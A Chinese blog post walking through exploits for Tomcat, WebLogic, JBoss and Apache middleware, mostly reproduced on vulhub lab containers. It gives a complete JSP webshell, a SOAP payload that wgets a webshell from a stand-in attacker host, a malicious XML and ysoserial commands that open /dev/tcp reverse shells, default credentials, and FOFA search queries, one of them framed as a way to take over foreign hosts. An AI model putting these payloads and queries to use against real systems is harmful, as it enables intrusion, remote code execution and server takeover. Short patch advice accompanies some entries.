常见Tomcat漏洞

已于 2024-08-06 22:00:18 修改
阅读量2.7k 收藏 44
点赞数 66
文章标签： tomcat java 中间件
于 2024-08-06 20:50:34 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_63988455/article/details/140945903
版权

一、Tomcat

1.1 CVE-2017-12615

1.首页抓包，修改为 PUT 方式提交

需要修改这部分

Tomcat允许适用put方法上传任意文件类型，但不允许isp后缀文件上传，因此我们需要配合 windows的解析漏洞.


PUT /shell.jsp%20
PUT /shell.jsp::$DATA
PUT /shell.jsp/

一句话木马：

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

密码passwd

漏洞修复
设置readonly 为 true

1.2 后台弱口令部署war包

首先先知道WAR 文件是一个基于 ZIP 格式的压缩存档，用于打包用 Java 编写的 Web 应用程序

默认密码

tomcat/tomcat

是在这部分提交war包

1.制作WAR包
制作WAR包，将JSP木马压缩为ZIP格式，然后修改后缀为war就可以了。

2.2.文件上传成功后，默认会在网站根目录下生成和war包名称一致得目录，然后目录中得)就是压缩前得 文件名。

然后就可以使用哥斯拉进行连接了

漏洞修复
1.设置强口令:
conf/tomcat-users.xml
<user username="tomcat" password="tomcat" roles="manager- gui,manager'script,manager-jmx,manager-status,admin-gui,admin-script"/>

2.删除manger文件

1.3 CVE-2020-1938

tomcat默认的conf/server.xml中配置了2个Connector，一个为 8080 的对外提供的HTTP协议端口中
另外一个就是默认的 8009 AJP协议端口，两个端口默认均监听在外网ip。

POC:
python2 "Tomcat-ROOT路径下文件包含(CVE-2020-1938).py" -p 8009 -f /WEB-INF/web.xml 124.221.58.83

漏洞修复
1.更新到最新版本
2.关闭AJP服务，修改Tomcat配置文件Service.xml,注释掉。<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />

3.配置ajp配置中的secretRequired跟secret属性来限制认证。

1.4 实战挖洞

fofa
app="tomcat"
server="Apache Tomcat" && body="Apache Tomcat"


判断网站使用了tomcat这个中间件

1.默认端口 8080
2.浏览器的指纹识别插件
3.默认管理路由 /manage/html
4.server头 Apache Tomcat

二、WebLogic

2.1 后台弱口令GetShell

默认账号密码:weblogic/Oracle@123weblogic

常用弱口令:https://cirt.net/passwords?criteria=weblogic

这里注意，单个账号错误密码5次之后就会自动锁定。

http://ip/console

1.登录后台
weblogic Oracle@123

2.点击部署，点击安装，点击上传文件

上传war包，jsp木马压缩成zip，修改后缀为war，上传

3.哥斯拉连接 访问部署好的war

2.2 CVE-2017-3506

访问以下目录中的一种，有回显如下图可以判断wls-wsat组件存在

 /wls-wsat/CoordinatorPortType
 /wls-wsat/RegistrationPortTypeRPC
 /wls-wsat/ParticipantPortType
 /wls-wsat/RegistrationRequesterPortType
 /wls-wsat/CoordinatorPortType11
 /wls-wsat/RegistrationPortTypeRPC11
 /wls-wsat/ParticipantPortType11
 /wls-wsat/RegistrationRequesterPortType11

1.使用工具验证是否存在wls-wsat组件

2.验证是否存在wls-wsat组件

在当前页面抓包之后，添加下面请求包，在标签之间分别写存放 jsp 的路径和要写入的 shell

3. 访问URL

2.3 CVE-2019-2725

漏洞描述

wls9-async等组件为WebLogic Server提供异步通讯服务，默认应用于WebLogic部分版本。由于该WAR包 在反序列化处理输入信息时存在缺陷，攻击者通过发送精心构造的恶意 HTTP 请求，即可获得目标服务器的权 限，在未授权的情况下远程执行命令。

环境搭建

cd vulhub-master/weblogic/weak_password

docker-compose up -d

影响版本

weblogic 10.x

weblogic 12.1.3

1.如果出现下面的页面，则说明存在漏洞

2.当前页面抓包 , 修改请求包 , 写入shell

POST /_async/AsyncResponseService HTTP/1.1
Host: 124.221.58.83:8605
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjM1MjA5NjEyLCJlbWFpbCI6IiJ9.cTSjCtV8thEmdfyP49gCsHldvX6KAAMjGQ209TCg0K8; JSESSIONID=050455BA3767B12181C6AA3E09AA3064
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 858
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://HackerIP:8080/JspSpy.jsp.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/2.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

3.冰蝎连接

2.4 CVE-2018-2628

WebLogic T3协议反序列化命令执行漏洞(CVE-2018- 2628)

漏洞描述

Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序（客户端或者其它 Weblogic Server实例）之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机（JVM）中, 并创建T3协议通信连接, 将流量传输到Java虚拟机. T3协议在开放WebLogic控制台端口的应用上默认开启， 攻击者可以通过T3协议发送恶意的的序列化后的数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击。

漏洞影响

Oracle WebLogic Server10.3.6.0.0
Oracle WebLogic Server12.1.3.0.0
Oracle WebLogic Server12.2.1.2.0
Oracle WebLogic Server12.2.1.3.0

环境搭建

cd vulhub-master/weblogic/CVE-2018-2628
docker-compose up -d

漏洞复现

http://192.168.233.138:7001/

直接使用利用工具（Liqun工具箱）

漏洞修复

1.及时更新补丁 ；
2.禁用T3协议 ；
3.禁止T3端口对外开放，或者限制可访问T3端口的IP来源。
4.升级版本

2.5 CVE-2018-2894

WebLogic文件任意上传漏洞

漏洞描述

Weblogic Web Service Test Page中一处任意文件上传漏洞，Web Service Test Page 在 "生产模式" 下默认不开启，所以该漏洞有一定限制。

漏洞版本

weblogic 10.3.6.0
weblogic 12.1.3.0
weblogic 12.2.1.2
weblogic 12.2.1.3

环境搭建

cd vulhub-master/weblogic/CVE-2018-2894
docker-compose up -d

这里环境后台密码是随机得，获取密码: docker-compose logs | grep password

weblogic    fvY533fz

设置Web服务测试开启

http://192.168.0.154:7001/console/login/LoginForm.jsp

设置web服务测试开启：域结构 -> base-domain -> 高级 -> 启动Web服务测试页

点击保存 , 进入 config.do 文件进行设置，将目录设置为 ws_utc 应用的静态文件css目录，访问这个目录是无需权限的，这一点很重要

漏洞复现

  1. 点击安全 , 点击添加，上传jsp木马
  1. 右键审查元素 , 然后搜索17 , 找到对应时间戳，拼接木马名称访问

  1. Webshell链接
http://192.168.0.154:7001/ws_utc/css/config/keystore/1714907372924_peak.jsp
											时间戳_文件名.jsp

2.6 CVE-2020-14882+CVE-2020-14883

WebLogic远程代码执行漏洞

漏洞描述

CVE-2020-14882 允许远程用户绕过管理员控制台组件中的身份验证。
CVE-2020-14883 允许经过身份验证的用户在管理员控制台组件上执行任何命令。
使用这两个漏洞链，未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执行任意命令并完全控制主机

影响版本

Oracle Weblogic Server 10.3.6.0
Oracle Weblogic Server 12.1.3.0
Oracle Weblogic Server 12.2.1.3
Oracle Weblogic Server 12.2.1.4
Oracle Weblogic Server 14.1.1.0

环境搭建

cd vulhub-master/weblogic/CVE-2020-14882
docker-compose up -d

漏洞复现

  1. 访问管理控制台
http://192.168.0.154:7001/console/login/LoginForm.jsp
  1. 使用以下url绕过登录认证
http://192.168.0.154:7001/console/css/%252e%252e%252fconsole.portal

此时达到未授权得效果。还未能GetShell。可以利用第二个漏洞（CVE-2020-14883），远程加载XML文件拿到Shell

  1. 首先访问以下 URL ,以连接 2 个漏洞并执行以下命令
http://192.168.0.154:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/0x7e');")

我们进入到docker中可以看到命令已经成功运行了

这种利用方法只能在 Weblogic 12.2.1 及以上版本中使用，因为 10.3.6 没有 class

另外一种方式

  1. 制作一个恶意XML文件，将其提供到Weblogic可以访问得服务器上。例如：http://192.168.0.132:8000/rce.xml
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[/bin/bash -i >& /dev/tcp/192.168.0.132/9999 0>&1]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>
  1. 然后通过以下 URL，Weblogic 将加载此 XML 并执行其中的命令
http://192.168.0.154:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.0.132:8000/rce.xml")

成功接收到反弹的shell

该漏洞利用的缺点是，它要求 Weblogic 服务器能够访问恶意 XML。

2.7 实战挖掘

如何判断Weblogic

1. 7001
2. 浏览器插件
3.报错页面  Error 404--Not Found
4.默认管理页面路由  /console/login/LoginForm.jsp
......

FOFA

"weblogic"
app="Oracle-WebLogic-Server-管理控制台"
app="BEA-WebLogic-Server" ||  app="Weblogic_interface_7001"

推荐 :
SRC    "WebLogic" && port="7001" && country="CN" && title=="Error 404--Not Found"
拿远程桌面  "WebLogic" && port="7001" && country!="CN" && title=="Error 404--Not Found"

查找使用指定应用得IP

app="Coremail"                   #查找使用Coremail的网站
app="BEA-WebLogic-Server"        #查找使用Weblogic的网站
app="CCTV-Cameras"               #查找使用九安视频监控的网站

三、Jboss

Jboss介绍

JBoss是一个基于J2EE的开发源代码的应用服务器。JBoss代码遵循LGPL许可，可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器，支持EJB1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器，一般与Tomcat或Jetty绑定使用。在J2EE应用服务器领域，JBoss是发展最为迅速的应用服务器。由于JBoss遵循商业友好的LGPL授权分发，并且由开源社区开发，这使得JBoss广为流行。

3.1 CVE-2015-7501

Jboss JMXInvokerServlet 反序列化漏洞

漏洞介绍

这是经典的JBoss反序列化漏洞，JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象，然后我们利用Apache Commons Collections中的 Gadget 执行任意代码

影响范围

JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
JBoss AS (Wildly) 6 and earlier
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform (SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBoss BRMS (BRMS) 6.1.0
JBoss BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server (EWS) 2.1,3.0

环境搭建

cd vulhub-master/jboss/JMXInvokerServlet-deserialization
docker-compose up -d

漏洞复现

http://192.168.233.138:8080/

  1. POC，访问地址
http://192.168233.138:8080/invoker/JMXInvokerServlet

返回如下，说明接口开放，此接口存在反序列化漏洞

  1. 下载 ysoserial 工具进行漏洞利用
https://github.com/frohoff/ysoserial

将反弹shell进行base64编码

bash -i >& /dev/tcp/192.168.233.138/9999 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xMzgvOTk5OSAwPiYx

java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xMzgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i} " >exp.ser

  1. 服务器设置监听得端口
nc -lvnp 9999

执行文本

curl http://192.168.233.138:8080/invoker/JMXInvokerServlet --data-binary @exp.ser
  1. 反弹成功

漏洞修复

升级版本

3.2 CVE-2017-7504

JBossMQ JMS 反序列化漏洞

漏洞介绍

JBoss AS 4.x及之前版本中，JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞，远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码执行

影响范围

JBoss 4.x 以及之前的所有版本

环境搭建

cd vulhub-master/jboss/CVE-2017-7504
docker-compose up -d

漏洞复现

  1. 访问漏洞地址
http://192.168.233.138:8080/jbossmq-httpil/HTTPServerILServlet

利用：

JBoss漏洞 - CVE-2017-7504-CSDN博客

3.3 CVE-2017-12149

JBoss 5.x/6.x反序列化漏洞

漏洞简述

该漏洞为 Java反序列化错误类型，存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化，从而导致了漏洞

漏洞范围

JBoss 5.x/6.x

环境搭建

cd vulhub-master/jboss/CVE-2017-12149
docker-compose up -d

漏洞复现

  1. 访问漏洞页面，看jboss版本
http://192.168.0.154:8080

  1. 验证是否存在漏洞 , 访问
http://192.168.0.154:8080/invoker/readonly

该漏洞出现在/invoker/readonly中 ，服务器将用户post请求内容进行反序列化

返回500，说明页面存在，此页面存在反序列化漏洞

  1. 使用工具进行检测 DeserializeExploit 如果成功直接上传webshell即可：
工具：
https://cdn.vulhub.org/deserialization/DeserializeExploit.jar
也可以直接执行命令：
https://github.com/yunxu1/jboss-_CVE-2017-12149

漏洞修复

不需要 http-invoker.sar 组件的用户可直接删除此组件。 
添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中，对 http invoker 组件进行访问控制： 
升级新版本。 
删除 http-invoker.sar 组件。 
添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中：用于对 http invoker 组件进行访问控制。

3.4 Administration Console弱口令

漏洞描述

Administration Console管理页面存在弱口令，`admin:admin`，登陆后台上传war包 , getshell

影响版本

全版本

环境搭建

因为这里用的环境是CVE-2017-12149的靶机

cd vulhub-master/jboss/CVE-2017-12149
docker-compose up -d

密码文件

/jboss-6.1.0.Final/server/default/conf/props/jmx-console-users.properties
账户密码：admin:vulhub

漏洞复现

http://192.168.0.154:8080/admin-console/login.seam?conversationId=4
  1. 登录后台

admin vulhub

  1. 点击web应用

  1. 上传后门 shell.war

  1. 连接WebShell
http://192.168.0.154:8080/peak/peak.jsp

3.5 低版本JMX Console未授权

低版本JMX Console未授权访问Getshell

漏洞描述

此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放，并且没有任何身份验证机制，导致攻击者可以进⼊到 jmx控制台，并在其中执行任何功能。

影响范围

Jboss4.x以下

环境搭建

cd vulhub-master/jboss/CVE-2017-7504
docker-compose up -d

漏洞复现

  1. 访问
http://82.157.209.141:8080/jmx-console/
  1. 这里我们使用得复现环境不存在，所以需要密码（正常环境无需密码直接可进入）

  1. 然后找到jboss.deployment (jboss 自带得部署功能) 中的 flavor=URL,type=DeploymentScanner 点进去（通过URL的方式远程部署）

  1. 找到页面中的void addURL() 选项远程加载war包来部署。

  1. 制作war包 , 这里用之前制作好的 peak.war , 然后用 python 开启web服务
python3 -m http.server

填写war包远程地址

http://192.168.0.132:8000/peak.war

  1. 然后跳转以下页面

  1. webshell连接
http://192.168.0.154:8080/peak/peak.jsp
peak

3.6 高版本JMX Console未授权

漏洞描述

JMX Console默认存在未授权访问，直接点击JBoss主页中的 JMX Console 链接进入JMX Console页面 , 通过部署war包 , getshell

影响版本

Jboss6.x以下

环境搭建

cd vulhub-master/jboss/CVE-2017-12149
docker-compose up -d

漏洞复现

http://192.168.0.154:8080/jmx-console/

因为使用环境不存在该漏洞所以需要输入账户密码：admin vulhub

  1. 本地搭建部署点在JMX Console页面点击jboss.system链接，在Jboss.system页面中点击service=MainDeployer，如下

  1. 进入service=MainDeployer页面之后，找到methodIndex为17或19的deploy 填写远程war包地址进行远程部署

  1. 搭建远程部署 , 部署远程war包地址

  1. 然后输入Invoke
http://192.168.0.132:8000/peak.war

点击Invoke

  1. 连接Webshell
http://192.168.0.154:8080/peak/peak.jsp
peak

3.7 实战挖洞

如何判断Jboss

1.8080
2.浏览器识别插件
3.固定路由
/admin-console/
/jmx-console/
4.title , Welcome to JBoss AS

FOFA语句

title="Welcome to JBoss AS" && country!="CN"

批量工具

https://github.com/GGyao/jbossScan

其他工具

JBOSS_EXP.jar
DeserializeExploit.jar
https://github.com/GGyao/jbossScan
https://github.com/joaomatosf/jexboss

四、Apache

CVE-2021-41773

Apache HTTP Server 路径穿越漏洞

漏洞简介

该漏洞是由于Apache HTTP Server 2.4.49版本存在⽬录穿越漏洞,在路径穿越⽬录 Require all granted允许被访问的的情况下（默认开启），攻击者可利⽤该路 径穿越漏洞读取到Web⽬录之外的其他⽂件

在服务端开启了gi或cgid这两个mod的情况下，这个路径穿越漏洞将可以执⾏任意cgi命令（RCE）

影响版本

Apache HTTP Server 2.4.49

某些Apache HTTPd 2.4.50也存在此漏洞

环境搭建

docker pull blueteamsteve/cve-2021-41773:no-cgid

在服务端开启了gi或cgid这两个mod的情况下，这个路径穿越漏洞将可以执⾏任意cg命令

starhei.zxy
关注
tomcat常见漏洞
qq_46416934的博客
06-18 3451
目录前言一、任意文件上传1.1 影响版本1.2 初始配置1.3 漏洞详情二、CVE-2020-1938?文件包含漏洞2.1 影响版本2.2 漏洞详情三、未授权弱口令+war后门上传总结tomcat和apache一样是一个免费的服务器，主要用于jsp框架的网站，可以看作是apache的一个扩展，但是运行的时候和apache属于不同的进程。本文主要介绍tomcat的未授权访问、任意文件上传、文件包含漏洞。tomcat 7.0.x --------------cve-2017-12615需要在windows下将配
Apache Tomcat 漏洞利用
Soul Blog
11-29 3069
Apache Tomcat 漏洞利用 参考链接1 参考链接2 通过对apache tomcat的枚举和利用，我们可以从中找出漏洞，然后得到shell 枚举 在 Tomcat6 之前的某些版本中，我们可以使用msf枚举用户： msf> use auxiliary/scanner/http/tomcat_enum 常见的得到的用户名与密码是： admin:admin tomcat:tomcat admin: admin:s3cr3t tomcat:s3cr3t admi
sx：快速强大易于使用的现代化网络扫描器
m0_59598029的博客
08-02 332
运行速度比Nmap要快30倍；ARP扫描：支持扫描本地网络以检测活动设备；ICMP扫描：使用高级ICMP扫描技术来检测活动主机和防火墙规则；TCP SYN扫描：传统半开放扫描以查找开放TCP端口；TCP FIN/NULL/XMAS扫描：扫描某些防火墙绕过技术；自定义TCP扫描：发送任意形式数据包，并获得回复数据包中设置的所有TCP标志的结果；UDP扫描：扫描UDP端口并获取全部ICMP响应，以检测开放端口和防火墙规则；
Tomcat漏洞详解
最新发布
apple_74953689的博客
09-07 1290
Tomcat是一个开源的Servlet容器，由Apache软件基金会开发，用于托管。它实现了Java Servlet和JavaServer Pages（JSP）技术，并提供了一些特有的Web服务器功能，如管理和控制平台、安全域管理和阀等。
Tomcat一些漏洞的汇总
热门推荐
m0_48108919的博客
03-28 2万+
前言：Tomcat 服务器是一个免费的开放源代码的Web 应用服务器，属于轻量级应用 服务器，在中小型系统和并发访问用户不是很多的场合下被普遍使用，是开发和调试JSP 程序的首选。 一、Tomcat 任意文件写入（CVE-2017-12615） 1.漏洞介绍 1.1影响范围： Apache Tomcat 7.0.0 - 7.0.81 1.2漏洞原因： Tomcat配置文件/conf/web.xml 配置了可写（readonly=false），导致可以使用PUT方法上传任意文件，攻击者将精心构造的
渗透测试——漏洞扫描工具
wuli1024的博客
11-20 1541
然后还要将all这个压缩包里的plugin_feed_info.inc提取出来，命令行是 tar -zxvf all-2.0.tar.gz plugin_feed_info.inc，然鹅，我提取不出来。将下载好的插件移动到Nessus目录下，然后输入sudo /opt/nessus/sbin/nessuscli update all-2.0.tar.gz。用户名和密码随便写写就好，随后将会更新补丁，OK，这样Nessus可以使用了。将会获得一串数字，然后去激活码的这个网站，输入自己的邮箱获取激活码。
Web中间件常见漏洞总结.pdf
06-14
Web中间件是企业级Web应用程序运行的基础环境，常见的中间件产品包括IIS、Apache、Tomcat等。中间件的安全问题常常成为黑客攻击的目标，因此深入理解和掌握Web中间件常见漏洞的知识对于网络安全防护至关重要。下面，...
常见中间件漏洞总结PPT
01-25
在中间件领域，常见的产品包括WebLogic、Tomcat、Nginx、IIS（Internet Information Services）、JBoss等。 1. WebLogic是Oracle公司的一个Java EE应用服务器，它支持企业级应用的部署和运行。WebLogic的漏洞往往...
常见中间件漏洞复现
君莫hacker的博客
11-08 9021
常见中间件漏洞复现 中间件Tomcat Apache IIS Jboss Weblogic Nginx 目录tomcat中间件1.tomcat文件上传（CVE-2017-12615） tomcat中间件 1.tomcat文件上传（CVE-2017-12615） 环境：线上环境 vulfocus 影响版本：Tomcat 7.0.0 - 7.0.81
tomcat系列漏洞
qq_56150805的博客
05-06 2302
Tomcat 配置了两个Connecto，它们分别是 HTTP 和 AJP ：HTTP默认端口为8080，处理http请求，而AJP默认端口8009，用于处理 AJP 协议的请求，而AJP比http更加优化，多用于反向、集群等，漏洞由于Tomcat AJP协议存在缺陷而导致，攻击者利用该漏洞可通过构造特定参数，读取服务器webapp下的任意文件。Tomcat 服务器是一个开源的轻量级Web应用服务器，在中小型系统和并发量小的场合下被普遍使用，是开发和调试Servlet、JSP 程序的首选。
中间件安全—Tomcat常见漏洞
ZL_1618的博客
03-21 2835
链接。
Tomcat 漏洞总结
m0_67391518的博客
08-25 542
CVE-2020-1938为Tomcat AJP文件包含漏洞，由于Tomcat AJP协议本身的缺陷，攻击者可以通过Tomcat AJP connector可以包含Webapps目录下的所有文件。由于配置不当，conf/web.xml中的readonly设置为flase，可导致用PUT方法上传任意文件，但限制了jsp后缀的上传。CVE-2017-12615由于配置不当，可导致任意文件上传，影响版本：Tomcat7.0.0-7.0.81。进入后台，有上传war包的地方，上传我们前面制作的test.war。
Tomcat漏洞集合
谢公子的博客
09-23 9633
目录 Tomcat的几大高危漏洞 Tomcat安全措施 Tomcat的几大高危漏洞 1、Tomcat后台弱口令上传war包(Tomcat管理弱口令页面Getshell) 2、Tomcat的PUT的上传漏洞(CVE-2017-12615) （Tomcat PUT方法任意文件上传(CVE-2017-12615)） 3、Tomcat反序列化漏洞(CVE-2016-8735) (Tomcat反...
Tomcat任意文件上传漏洞（CVE-2017-12615）
qq_58000413的博客
09-15 1140
访问222.jsp页面发现有内容（这里是Hello java的原因是我自己已经上传过一次，由于已经实操过一遍不想再次上传所以就用了第一次实操的222.jsp文件，还请见谅）验证成功，则当我们上传的内容是jsp的一句话那么我们就可以拿下这台服务器，这里由于是自己购买的服务器就不上传一句话木马了。总体来说这个漏洞复现起来还是比较简单的。Tomcat官方确认并修复了两个高危漏洞，漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,其中 远程代码执行漏洞（CVE-2017-12615）
Tomcat PUT方法任意写文件漏洞（CVE-2017-12615）
haha1314的博客
07-25 1835
Tomcat PUT方法任意写文件漏洞（CVE-2017-12615） Tomcat版本：8.5.19 Apache Tomcat 7.0.0 - 7.0.79 漏洞本质Tomcat配置了可写（readonly=false），导致我们可以往服务器写文件： <servlet> <servlet-name>default</servlet-name> ...
Tomcat PUT的上传漏洞(CVE-2017-12615)
weixin_47417079的博客
08-21 448
Tomcat PUT的上传漏洞(CVE-2017-12615)
tomcat weblogic jboss 漏洞
12-16
在互联网上，Tomcat、WebLogic和Jboss都是常见的应用服务器。由于它们在网站和应用中的广泛使用，这些服务器可能会存在漏洞。在过去的几年中，这些应用服务器都曾发生过漏洞事件。 Tomcat是一个由Apache基金会开发的...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值